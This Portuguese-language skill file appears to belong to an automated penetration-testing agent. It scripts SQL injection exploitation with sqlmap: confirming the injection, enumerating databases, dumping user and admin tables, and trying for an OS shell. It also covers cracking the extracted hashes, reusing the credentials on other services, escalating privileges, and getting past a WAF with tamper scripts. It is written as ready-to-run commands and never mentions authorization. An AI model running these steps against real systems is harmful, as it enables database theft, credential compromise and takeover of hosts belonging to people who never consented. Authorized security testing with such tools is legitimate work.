---
name: sql_injection_exploitation
phase: 4_exploitation
tools: [sqlmap]
dependencies: [sqli_vulnerability_identified]
mitre_tactic: TA0001 (Initial Access), TA0006 (Credential Access)
---

# Objetivo
Explorar vulnerabilidades de SQL Injection identificadas para extrair dados do banco de dados, obter credenciais, escalar privilégios e, quando possível, obter execução de comandos no sistema operacional.

# Condições de Execução
- Um endpoint vulnerável a SQL Injection foi identificado (via Nuclei, teste manual ou outra ferramenta).
- A URL e o parâmetro vulnerável são conhecidos.

# Comandos e Sintaxe

## 1. Detecção e Confirmação
```bash
sqlmap -u "{vulnerable_url}" -p "{parameter}" --batch --random-agent --level 3 --risk 2 --output-dir={workspace}/sqlmap/ 2>&1 | tee {workspace}/sqlmap_detection.txt
```

## 2. Enumeração de Bancos de Dados
```bash
sqlmap -u "{vulnerable_url}" -p "{parameter}" --batch --random-agent --dbs --output-dir={workspace}/sqlmap/ 2>&1 | tee {workspace}/sqlmap_dbs.txt
```

## 3. Dump de Tabelas e Dados
```bash
sqlmap -u "{vulnerable_url}" -p "{parameter}" --batch --random-agent -D {database_name} --tables --output-dir={workspace}/sqlmap/ 2>&1 | tee {workspace}/sqlmap_tables.txt
sqlmap -u "{vulnerable_url}" -p "{parameter}" --batch --random-agent -D {database_name} -T {table_name} --dump --output-dir={workspace}/sqlmap/ 2>&1 | tee {workspace}/sqlmap_dump.txt
```

## 4. Tentativa de OS Shell (se DBA)
```bash
sqlmap -u "{vulnerable_url}" -p "{parameter}" --batch --random-agent --os-shell --output-dir={workspace}/sqlmap/ 2>&1 | tee {workspace}/sqlmap_shell.txt
```

# Análise de Resultados
- **Bancos de dados listados:** Procure por bancos como `mysql`, `information_schema`, e bancos da aplicação.
- **Tabelas de usuários encontradas:** Faça dump das tabelas `users`, `accounts`, `admins`, etc.
- **Hashes de senha extraídos:** Acione a skill `hash_dumping_and_cracking` para quebrá-los.
- **OS Shell obtido:** Acesso direto ao sistema operacional. Acione a skill de pós-exploração correspondente.

# Próximos Passos
- Credenciais extraídas devem ser testadas em outros serviços com a skill `bruteforce_authentication`.
- Se obtiver OS Shell, acione a skill `linux_privilege_escalation` ou `windows_privilege_escalation`.

# Tratamento de Erros
- Se o SQLmap não detectar injeção, tente aumentar `--level 5 --risk 3`.
- Se o WAF bloquear, use `--tamper=space2comment,between,randomcase`.
- Se o alvo usar POST, adicione `--data="{post_data}"` e `-p "{parameter}"`.
